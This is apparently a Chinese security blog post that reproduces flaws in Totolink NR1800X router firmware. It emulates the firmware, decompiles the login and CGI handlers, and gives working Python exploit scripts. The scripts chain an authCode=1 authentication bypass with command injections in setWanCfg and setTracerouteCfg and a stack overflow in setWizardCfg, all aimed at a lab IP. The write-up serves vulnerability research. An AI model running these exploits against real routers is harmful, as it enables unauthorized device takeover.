Totolink NR1800X漏洞复现

漏洞分析固件模拟
2026-01-30 13:36
9590

信息收集

下载对应版本固件NR1800X_V9.1.0u.6279_B20210910.bin:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html
binwalk提取固件:
image.png
file命令查看固件文件信息,该固件基于 MIPS 小端序 架构
image.png
checksec命令查看文件保护机制,关闭了所有现代安全防护机制(无栈保护、栈段可执行、无地址随机化)

image.png

固件模拟

FirmAE 模拟失败
image.png
使用系统模拟:
● 镜像文件:debian_squeeze_mipsel_standard.qcow2
● 内核文件:vmlinux-3.2.0-4-4kc-malta
image.png
创建虚拟网卡(tap):

sudo tunctl -t tap0 -u $(whoami)
sudo ifconfig tap0 192.168.10.1 netmask 255.255.255.0

启动 QEMU 模拟器:

sudo qemu-system-mipsel -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" -nographic \
    -net nic -net tap,ifname=tap0,script=no,downscript=no

QEMU 模拟器设置IP

ifconfig eth0 192.168.10.2 netmask 255.255.255.0

挂载必要内核接口

cd squashfs-root/
mount -t proc /proc ./proc
mount -o bind /dev ./dev
chroot . /bin/sh

该路由器的web服务由/usr/sbin/lighttpd管理,“尝试”直接在根目录启动
提示需要config,搜索后发现在固件包中有现成的/lighttp/lighttpd.conf配置文件,直接加载就行lighttpd -f /lighttp/lighttpd.conf:
image.png
显示报错,手动创建缺失的目录

mkdir -p /var/run
mkdir -p /var/log
mkdir -p /var/tmp

再次尝试启动

lighttpd -f /lighttp/lighttpd.conf

image.png
成功启动,在宿主机浏览器访问: 打开浏览器,输入虚拟机的 IP 地址: http://192.168.10.2

image.png
模拟成功。

未授权访问漏洞 (认证绕过)

登陆页面随意输入,burp抓取登录时的数据包:
image.png
IDA打开cstecgi.cgi,搜索formLoginAuth.htm字符串,根据响应包的Location可以确定是使用了第三个:

image.png
交叉引用,定位到sub_42AEEC,我们将这个函数重命名为check,该函数的核心作用是:作为登录验证的后端接口,它解析前端提交的原始登录字符串,将其与系统 NVRAM 中存储的账号密码进行比对,并根据验证结果构造包含身份标志位 authCode 的重定向 URL,引导浏览器跳转至 Web 服务器(lighttpd)进行 Session 会话建立 。

int __fastcall check(int a1)
{
  // ... 变量声明 ...
  
  // 初始化缓冲区
  memset(login_ie.html_, 0, sizeof(login_ie.html_));
  // ... 省略部分 memset ...

  // 1. 获取前端传入的原始登录字符串(通常是 key1=val1&key2=val2 格式)
  Var = websGetVar(a1, "loginAuthUrl", (int)"");
  Object = cJSON_CreateObject();
  
  // 2. 将 URL 格式字符串解析并填充到 cJSON 对象中,方便后续读取
  v3 = 0;
  v37 = v28;
  while ( 1 )
  {
    v5 = v3 + 1;
    if ( getNthValueSafe(v3, Var, "&", v26, 1024) == -1 ) // 按 & 切割参数
      break;
    if ( getNthValueSafe(0, v26, "=", v27, 128) != -1 && getNthValueSafe(1, v26, "=", v37, 256) != -1 )
    {
      String = cJSON_CreateString(v37);
      cJSON_AddItemToObject(Object, v27, String); // 存入 cJSON: { "username": "xxx", "password": "yyy" }
    }
    v3 = v5;
  }

  // 3. 提取用户输入的各字段
  v6 = websGetVar(Object, "username", (int)"");
  v7 = websGetVar(Object, "password", (int)"");
  v8 = websGetVar(Object, "http_host", (int)"");
  v9 = websGetVar(Object, "flag", (int)&word_4370EC); // 区分 PC 端或手机端
  v10 = websGetVar(Object, "verify", (int)&word_4370EC);
  v11 = atoi(v10);

  // 4. 验证码与登录向导(Wizard)逻辑处理
  int = nvram_get_int("wizard_flag");
  // ... 略去向导状态判断逻辑 ...

  // 5. 解码密码并获取系统真实的账号密码进行对比
  urldecode(v7, v35); // 关键:对输入的密码进行 URL 解码
  v14 = nvram_safe_get("http_username"); // 获取 NVRAM 中存储的真用户名
  strcpy(v30, v14);
  v15 = nvram_safe_get("http_passwd");   // 获取 NVRAM 中存储的真密码
  strcpy(v32, v15);

  // 6. 核心比对环节
  v17 = strcmp(v6, v30);                  // 比对用户名
  // v18 是 authCode 的逻辑基础:如果用户名或密码不对,v18 保持非 0
  v18 = strcmp(v35, v32) || v17 != 0;

  if ( !strcmp(v6, v30) && !strcmp(v35, v32) ) // 验证通过
  {
    // 根据 flag 选择跳转的页面 (home.html 或 wizard.html)
    // ... 页面分配逻辑 ...
    
    // 触发云端更新检查等系统行为
    nvram_set_int_temp("cloudupg_checktype", 1);
    doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
    
    v18 = 1; // 登录成功的 authCode 标志
  }
  else // 验证失败
  {
    // ... 分配登录失败后的回退页面 ...
    if ( v18 )
    {
LABEL_54:
      // 如果登录失败次数多或验证码错误,创建标志文件
      system("echo ''> /tmp/login_flag");
      v18 = 0; 
    }
  }

  // 7. 构造响应 JSON
  // 这里构造了 redirectURL,注意 authCode=%d 处填入了 v18
  // 这个 authCode 会被传递给后续的 lighttpd 处理,用于建立 Session
  snprintf(v24, 4096, "{\"httpStatus\":\"%s\",\"host\":\"%s\"", "302", v29);
  // ... 拼接 redirectURL 字符串 ...
  
  // 8. 解析构造好的 JSON 并提取 URL 执行重定向
  v20 = cJSON_Parse(v24);
  v21 = websGetVar(v20, "redirectURL", (int)"");
  
  // 输出标准的 HTTP 302 响应头部
  puts("HTTP/1.1 302 Redirect to page");
  puts("Content-type: text/plain");
  puts("Connection: Keep-Alive\nPragma: no-cache\nCache-Control: no-cache");
  printf("Location: %s\n\n", v21); // 浏览器收到后会跳转到 formLoginAuth.htm
  printf("protal page");
  
  return 0;
}

下一个数据包:
经过cstecgi.cgi会得到http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login,
由于目标文件formLoginAuth.htm为htm文件,所以需要交由lighttpd处理。对lighttpd逆向搜索"formLoginAuth.htm",来到userloginAuth函数:
image.png
userloginAuth 是路由器 Web 服务的权限验证入口分发函数。它负责识别当前的 URL 请求类型,并将其导向登录、注销或常规会话检查逻辑 。

BOOL __fastcall userloginAuth(int a1, int a2, _BYTE *a3)
{
  int v4; // $s2

  // 1. 从请求结构体偏移 320 处提取当前请求的路径/文件名 (URI) [cite: 295, 296]
  v4 = **(_DWORD **)(a1 + 320);

  // 2. 检查请求是否包含 "formLoginAuth.htm"
  // 这是登录验证的核心接口,攻击者通过构造含有该字符串的 URL 触发此逻辑 [cite: 296, 351]
  if ( strstr(v4, "formLoginAuth.htm") )
  {
    // 调用 Form_Login 函数进行具体的参数解析与会话生成 
    // 关键点:该函数内存在直接解析 URL 参数 authCode 的漏洞 [cite: 346, 371]
    Form_Login(a1, a2, (int)a3);
    return 1;
  }

  // 3. 处理注销请求逻辑
  if ( strstr(v4, "formLogout.htm") )
  {
    Form_Logout(a1, a2, a3);
    return 1;
  }

  // 4. 处理注销所有会话请求逻辑
  if ( strstr(v4, "formLogoutAll.htm") )
  {
    Form_LogoutAll(a1, a2);
    return 1;
  }

  // 5. 数据结构清理:初始化或清除 a3 指向的内存空间 [cite: 312, 313, 314]
  a3[3] = 0;
  *a3 = 0;
  a3[1] = 0;
  a3[2] = 0;

  // 6. 默认权限检查:对于非登录/注销页面,通过 checkLoginUser 检查当前 Cookie 是否有效 
  // 如果 checkLoginUser 返回 1,表示用户已授权;否则拒绝访问 
  return checkLoginUser(a1, a2) == 1;
}

查看Form_Login 函数, 这段函数是 lighttpd 内部处理用户登录逻辑的核心代码。其最关键的漏洞点在于直接信任并解析了 URL 传入的 authCode 参数,从而导致认证绕过。

int __fastcall Form_Login(int a1, int a2, int a3)
{
  // ... 变量定义 ...
  
  // 1. 获取客户端 IP 地址并初始化缓冲区 [cite: 356]
  v6 = (char *)inet_ntoa(*(_DWORD *)(a1 + 128));
  memset(home.html_3, 0, sizeof(home.html_3)); // 用于存储跳转的目标页面 URL
  memset(v25, 0, 1024);                       // 用于存储原始请求参数字符串
  
  // 2. 检查请求参数是否为空,如果不为空则开始解析 [cite: 359, 361]
  if ( !buffer_is_empty(*(_DWORD *)(a1 + 328)) )
  {
    strncpy(v25, **(_DWORD **)(a1 + 328), 1023); // 拷贝原始请求参数(如 key1=val1&key2=val2)
    
    // 3. 核心解析循环:遍历并提取 URL 参数 [cite: 362, 366, 368]
    while ( 1 )
    {
      // 按 '&' 符号切割参数项 [cite: 366, 370]
      if ( getNthValueSafe(p_home.html, p_home.html_1, 38, home.html, 512) == -1 )
        break;
      
      // 按 '=' 符号切割键值对 [cite: 368, 369]
      if ( getNthValueSafe(0, home.html, 61, home.html_1, 128) != -1
        && getNthValueSafe(1, home.html, 61, p_home.html_2, 128) != -1 )
      {
        // 【关键漏洞点】:直接从 URL 参数中提取 authCode 并转为整数 [cite: 371, 373]
        // 攻击者只需在 URL 中构造 authCode=1,v8 就会变为非 0 值
        if ( strstr(home.html_1, "authCode") )
          v8 = atoi(p_home.html_2);
          
        if ( strstr(home.html_1, "userName") )
          strcpy(p_home.html_3, p_home.html_2); // 提取用户名
        if ( strstr(home.html_1, "password") )
          strcpy(p_home.html_4, p_home.html_2); // 提取密码
        if ( strstr(home.html_1, "goURL") )
          strcpy(p_home.html_5, p_home.html_2); // 提取登录成功后的跳转路径 [cite: 376, 377]
      }
    }
  }

  // 4. 如果没有指定 goURL,则根据设备类型分配默认主页 [cite: 209, 210]
  if ( !home.html_3[0] )
  {
    if ( strstr(&home.html_2, "ie8") )
      p_home.html_8 = "wan_ie.html";
    else if ( atoi(&home.html_2) == 1 ) // flag 为 1 通常代表手机端
      p_home.html_8 = "phone/home.html";
    else
      p_home.html_8 = "home.html";
    strcpy(home.html_3, p_home.html_8);
  }

  // 5. 权限授予环节:如果 v8 (authCode) 非 0,则执行登录成功的会话创建 [cite: 346, 349, 387]
  if ( v8 )
  {
    // 检查是否已有 SESSION_ID,如果有则重用 [cite: 336]
    if ( !ws_get_cookie(a1, "SESSION_ID", v16, 0) && form_get_idx_by_sessionid(&fl_sess, v13, v16) != -1 )
    {
      sprintf(a2, "http://%s/%s?timestamp=%ld", v23, home.html_3, v13);
      return 1;
    }

    // 生成新的 SESSION_ID 字符串 [cite: 124, 387]
    sprintf(v15, "%ld:%d", v13, 2);
    sprintf(v19, "%d:%s", 2, v15);

    // 将新 Session 添加到系统表中,并在响应中设置 Cookie [cite: 414]
    if ( form_add_session(&fl_sess, &fl_sess_bak, -1, v17, v6, v19, 2, v13) )
    {
      ws_set_cookie(a3, "SESSION_ID", v19, 0, "/", 0); // 发送 Set-Cookie 给浏览器
      sprintf(a2, "http://%s/%s?timestamp=%ld", v23, home.html_3, v13); // 跳转到主页 [cite: 415]
      return 0;
    }
    // ... 登录失败后的清理和回退到 login.html ...
  }
  
  // 6. 如果 v8 为 0,则跳转回登录页面(表示认证失败) [cite: 215, 217]
  // ... 跳转回 login.html 的逻辑 ...
  return 1;
}

程序原本设计是从后端 CGI 获取 authCode,但 Form_Login 函数错误地从用户可控的 URL 字符串中解析该值 。攻击者通过手动输入 authCode=1,强制使 v8 为真,从而绕过所有密码检查,直接进入生成 SESSION_ID 的逻辑 。
即这里存在未授权登录漏洞:http://192.168.10.2/formLoginAuth.htm?authCode=1&action=login
抓包验证,这里确实可以绕过登录。该过程会发送3个关键的数据包,302重定向时即可获取有效的SESSION_ID=2:1769496816:2
image.png

image.png

image.png

CVE-2026-1326命令注入

漏洞描述

Totolink NR1800X 固件版本 9.1.0u.6279_B20210910 中存在命令注入漏洞。弱点出现在 /cgi-bin/cstecgi.cgi 文件的 POST 请求处理组件中的 setWanCfg 函数中。通过主机名参数Hostname,攻击者可以执行远程命令注入。漏洞利用细节已公开,增加了针对该设备的潜在攻击风险。
搜索字符串hostname,定位到漏洞点在sub_421C98函数中
image.png
main 函数作为 CGI 入口分发器,负责将 POST 请求解析为 JSON 对象,并根据 topicurl 字段在 路由表(如 set_handle_t)中匹配并跳转至对应的 Handler 函数(如 sub_421c98),从而开启抵达 doSystem 注入点的调用链条。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  // ... 变量定义 ...

  // 1. 初始化缓冲区并获取 CGI 环境变量
  memset(v35, 0, sizeof(v35));
  memset(v37, 0, sizeof(v37));
  memset(v36, 0, sizeof(v36));
  env = getenv("QUERY_STRING");    // 获取 URL 参数
  env_1 = getenv("CONTENT_LENGTH"); // 获取 POST 数据长度
  v5 = strtol(env_1, 0, 10);
  env_2 = getenv("stationIp");
  if ( !env_2 )
    env_2 = getenv("REMOTE_ADDR");  // 获取客户端 IP

  // 2. 从标准输入 (stdin) 读取 POST 数据体
  v7 = v5 + 1;
  v8 = (const char *)malloc(v7);
  memset(v8, 0, v7);
  fread(v8, 1, v7, stdin);          // 读取 POST 内容到 v8

  // 3. 处理不同类型的 Action 请求(登录、上传或普通设置)
  if ( !env )
    goto LABEL_15;

  // --- 登录请求逻辑 ---
  if ( strstr(env, "action=login") )
  {
    // ... 构造 loginAuth 的 JSON 字符串 ...
    v12 = v36; // 将构造好的 JSON 赋给 v12
    goto LABEL_16;
  }

  // --- 上传请求逻辑 ---
  if ( !strstr(env, "action=upload") )
  {
LABEL_15:
    v12 = v8;  // 普通请求:直接将 POST 数据体赋给 v12
    goto LABEL_16;
  }
  // ... 处理上传逻辑并构造 JSON ...
  v12 = v36;

LABEL_16:
  // 4. 【关键】将字符串解析为 cJSON 对象
  v17 = cJSON_Parse(v12); 
  
  // 5. 【关键】提取 topicurl,这决定了后续调用哪个功能函数
  Var = websGetVar(v17, "topicurl", (int)"");
  v19 = strchr(Var, 47); // 处理路径分隔符
  if ( v19 )
    Var = (char *)(v19 + 1);

  // 6. 权限检查(NEED_AUTH)
  env_7 = getenv("NEED_AUTH");
  if ( env_7 && !strcmp(env_7, "1") && ... ) // 检查当前 Topic 是否需要登录
  {
    sub_42EFC0(501); // 未授权返回 501
    return 0;
  }

  // 7. 【分发引擎】根据 topicurl 前缀进行函数分发
  
  // --- A. "get" 类请求分发 (获取配置) ---
  if ( strstr(Var, "get") )
  {
    v23 = off_44A090;   // Handler 函数指针起始
    v24 = &off_44A0D4;  // 结构体表起始
    if ( off_44A090 )
    {
      v25 = 0;
      // 遍历 get_handle_t 表匹配对应的处理函数
      while ( strncmp(Var, &get_handle_t[68 * v25], 64) )
      {
        ++v25;
        v23 = *v24;     // 提取匹配到的函数地址
        v26 = *v24 != 0;
        v24 += 17;      // 每个条目偏移 68 字节 (17 * 4)
        if ( !v26 ) goto LABEL_53;
      }
LABEL_51:
      // 【执行】调用对应的业务函数,并将 cJSON 对象 v17 作为参数传入
      ((void (__fastcall *)(int))v23)(v17); 
    }
  }
  // --- B. "set" 类请求分发 (设置配置 - CVE 漏洞通常发生在此类) ---
  else if ( strstr(Var, "set") )
  {
    v23 = off_44B040;
    v27 = &off_44B084;
    if ( off_44B040 )
    {
      v28 = 0;
      // 遍历 set_handle_t 表匹配,例如匹配 "setWanCfg" 或 "setOpModeCfg"
      while ( strncmp(Var, &set_handle_t[68 * v28], 64) )
      {
        ++v28;
        v23 = *v27;
        v26 = *v27 != 0;
        v27 += 17;
        if ( !v26 ) goto LABEL_53;
      }
      goto LABEL_51; // 跳转到 LABEL_51 执行业务函数
    }
  }
  // --- C. "del" 类或其他请求分发 ---
  else
  {
    // ... 匹配 del_handle_t 或 other_handle_t ...
  }

LABEL_53:
  // 8. 清理工作
  cJSON_Delete(v17); // 释放 cJSON 对象
  free(v8);          // 释放 POST 数据缓冲区
  return 0;
}

找到处理 set 类请求的 while 循环。

// set_handle_t 是路由表的起始地址
while ( strncmp(Var, &set_handle_t[68 * v28], 64) )

双击 set_handle_t,定位路由表基址:
image.png
向下滑动查找就能找到:
image.png

exp

配合前面的未授权访问漏洞,编写脚本自动获取SESSION_ID,绕过认证后,再进行攻击,实现未授权远程代码执行。

import requests
import re

TARGET_IP = "192.168.10.2"
BASE_URL = f"http://{TARGET_IP}"
CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi"
AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"

def get_session():
    print("[*] 正在触发身份认证绕过...")
    try:
        response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False)        
        session_id = response.cookies.get("SESSION_ID")      
        if not session_id:
            location = response.headers.get("Location", "")
            ts_match = re.search(r"timestamp=(\d+)", location)
            if ts_match:
                timestamp = ts_match.group(1)
                session_id = f"2:{timestamp}:2"
        
        if session_id:
            print(f"[+] 提取到有效的 SESSION_ID: {session_id}")
            return {"SESSION_ID": session_id}
        else:
            print("[-] 无法提取 Session 信息,请检查设备连接或模拟环境。")
            return None
            
    except Exception as e:
        print(f"[!] 获取 Session 失败: {e}")
        return None

def execute_cmd_injection(cookies):
    if not cookies: return

    target_file = "/tmp/hack_success"
    # 构造命令注入 Payload:使用分号绕过并闭合单引号
    cmd = f"echo 'Vulnerability Verified' > {target_file}"
    payload = f"'; {cmd}; '"

    data = {
        "topicurl": "setWanCfg",   # 漏洞函数入口 
        "hostName": payload,       # 注入参数 
        "proto": "2"               # 确保进入 DHCP 分支 
    }

    print(f"[*] 正在发送注入 Payload,目标文件: {target_file}...")
    try:
        response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5)
        
        if response.status_code == 200:
            print("[+] 请求成功,服务器已响应。")
            print(f"[*] 响应正文: {response.text}")
            print(f"[!] 请在模拟器终端执行 'ls /tmp' 验证结果 [cite: 747]")
        else:
            print(f"[-] 请求失败,状态码: {response.status_code}")
    except Exception as e:
        print(f"[!] 执行漏洞利用时发生异常: {e}")

if __name__ == "__main__":
    valid_creds = get_session()
    if valid_creds:
        execute_cmd_injection(valid_creds)

运行脚本:
image.png
验证成功:
image.png

CVE-2026-1327命令注入

漏洞描述

NR1800 X_Firmware V9.1.0u.6279_B20210910在setTraceroutecfg函数中存在命令注入漏洞。Var
变量接收POST请求的command参数。然而,由于用户可以控制command输入,doSystem可能导致命令注入漏洞。
cstecgi.cgi 路由表(set_handle_t)中,当 topicurl"setTracerouteCfg" 时,调用函数 sub_420F68
image.png
注入点:sub_420F68 函数
image.png
该函数负责处理 setTracerouteCfg 请求。其核心流程如下:

  1. 获取输入:通过 websGetVar 从 POST 请求中获取 command 参数。
  2. 安全检查:调用 Validity_check(Var)。如果返回值为 0(即未触发黑名单),则继续执行。
  3. 危险拼接:使用 sprintf 将用户输入的 Var 直接拼接到字符串命令中: "traceroute -m %d %s&>/var/log/traceRouteLog"
  4. 执行命令:调用 doSystem(v6)(通常封装了 system()),将拼接后的字符串交给 Shell 执行。

防御机制的缺陷:Validity_check
image.png
该函数采用黑名单机制,检查输入中是否包含特定字符。
关键漏洞在于:它漏掉了最重要的 Shell 注释符和命令分隔符—— > #
黑名单未过滤 >,允许攻击者将输出重定向到任意文件
# 及其后面的内容会被视为注释

exp

配合前面的未授权访问漏洞,编写脚本自动获取SESSION_ID,绕过认证后,再进行攻击,实现未授权远程代码执行。

import requests
import re

TARGET_IP = "192.168.10.2"
BASE_URL = f"http://{TARGET_IP}"
CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi"
AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"

def get_session():
    print("[*] 正在尝试绕过身份认证以获取 SESSION_ID...")
    try:
        response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False)        
        session_id = response.cookies.get("SESSION_ID")        
        if not session_id:
            location = response.headers.get("Location", "")
            ts_match = re.search(r"timestamp=(\d+)", location)
            if ts_match:
                timestamp = ts_match.group(1)
                session_id = f"2:{timestamp}:2"        
        if session_id:
            print(f"[+] 成功提取有效 SESSION_ID: {session_id}")
            return {"SESSION_ID": session_id}
        else:
            print("[-] 提取 Session 失败,请检查模拟环境。")
            return None
    except Exception as e:
        print(f"[!] 获取 Session 过程中发生异常: {e}")
        return None

def exploit_traceroute(cookies):
    target_file = "/tmp/CVE-2026-1327"
    data = {
        "topicurl": "setTracerouteCfg",
        "command": f"echo 'Exploit Success' > {target_file} #", 
        "num": "4"
    }

    print(f"[*] 正在尝试绕过 Validity_check 并写入到 {target_file}...")
    try:
        response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5)
        
        if response.status_code == 200:
            print("[+] 请求发送成功。")
            print(f"[*] 响应正文: {response.text}")
            print(f"[!] 验证完成,请在设备终端检查 /tmp 目录下是否存在 {target_file} ")
        else:
            print(f"[-] 请求失败,状态码: {response.status_code}")
    except Exception as e:
        print(f"[!] 执行攻击时发生异常: {e}")

if __name__ == "__main__":
    valid_cookies = get_session()
    if valid_cookies:
        exploit_traceroute(valid_cookies)

运行脚本:
image.png
验证成功

image.png

CVE-2026-1328栈溢出

漏洞描述

NR1800 X_Firmware V9.1.0u.6279B20210910在setWizardCfg函数中存在缓冲区溢出漏洞。v49变量从POST请求中接收ssid参数。然而,由于用户可以控制ssID的输入,语句urldecode可能导致缓冲区溢出漏洞。
cstecgi.cgi 路由表(set_handle_t)中,当 topicurl"setWizardCfg" 时,调用函数 sub_428C84
image.png
触发点:ssid 参数处理
在代码中,程序通过 websGetVar 获取用户通过 POST 请求发送的 ssid 变量:

v49 = websGetVar(a1, "ssid", (int)""); // 获取 SSID 输入
...
urldecode(v49, v77); // 将解码后的结果存入 v77

image.png
随后程序调用了自定义的 urldecode 函数,将用户输入的 v49 解码并写入到固定长度(128 字节)的缓冲区 v77 中。
image.png
栈空间布局:
在函数 sub_428C84 中,程序在栈上分配了两个关键的缓冲区:

  • v77_BYTE [128](大小为 128 字节)
  • v78_BYTE [128](大小为 128 字节)
    这些变量位于栈帧的较低位置。
    漏洞函数:urldecode 的设计缺陷
_BYTE *__fastcall urldecode(int a1, _BYTE *a2) {
  ...
  for ( i = 0; i < strlen(a1); ++i ) {
    n37 = *(char *)(a1 + i);
    if ( n37 == 37 ) { // 处理 % 编码
        // ... 解码逻辑 ...
        *v3 = ...;
    } else {
        *v3 = n37; // 直接拷贝原字符
    }
    ++v4;
    ++v3; // 目标指针递增,没有边界检查!
  }
  a2[v4 - 1] = 0;
  return a2;
}

关键问题urldecode 函数通过 strlen(a1)(输入长度)来决定循环次数,但在向目标缓冲区 v3(即 v77)写入数据时,完全没有检查 v4 是否超过了 v77 定义的 128 字节上限

exp

编写脚本,自动获取SESSION_ID,实现栈溢出。

import requests
import re

base_url = "http://192.168.10.2"
auth_url = f"{base_url}/formLoginAuth.htm?authCode=1&action=login"
cgi_url = f"{base_url}/cgi-bin/cstecgi.cgi"

def get_session():
    try:
        res = requests.get(auth_url, timeout=5, allow_redirects=False)
        sid = res.cookies.get("SESSION_ID")
        if not sid:
            location = res.headers.get("Location", "")
            match = re.search(r"timestamp=(\d+)", location)
            if match:
                sid = f"2:{match.group(1)}:2"        
        return sid
    except Exception as e:
        print(f"[!] 获取 Session 失败: {e}")
        return None

session_id = get_session()

if session_id:
    print(f"[*] 成功获取 SESSION_ID: {session_id}")
    url = cgi_url
    cookie = {"SESSION_ID": session_id}
    data = {"topicurl": "setWizardCfg", "ssid": "a" * 0x1000}
    response = requests.post(url, cookies=cookie, json=data)
    print(response.text)
    print(response)
else:
    print("[-] 无法执行后续操作,未获取到有效的 SESSION_ID")

500 错误证明了超长输入确实已经冲毁了栈空间,导致了程序执行流的崩溃。

image.png

分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们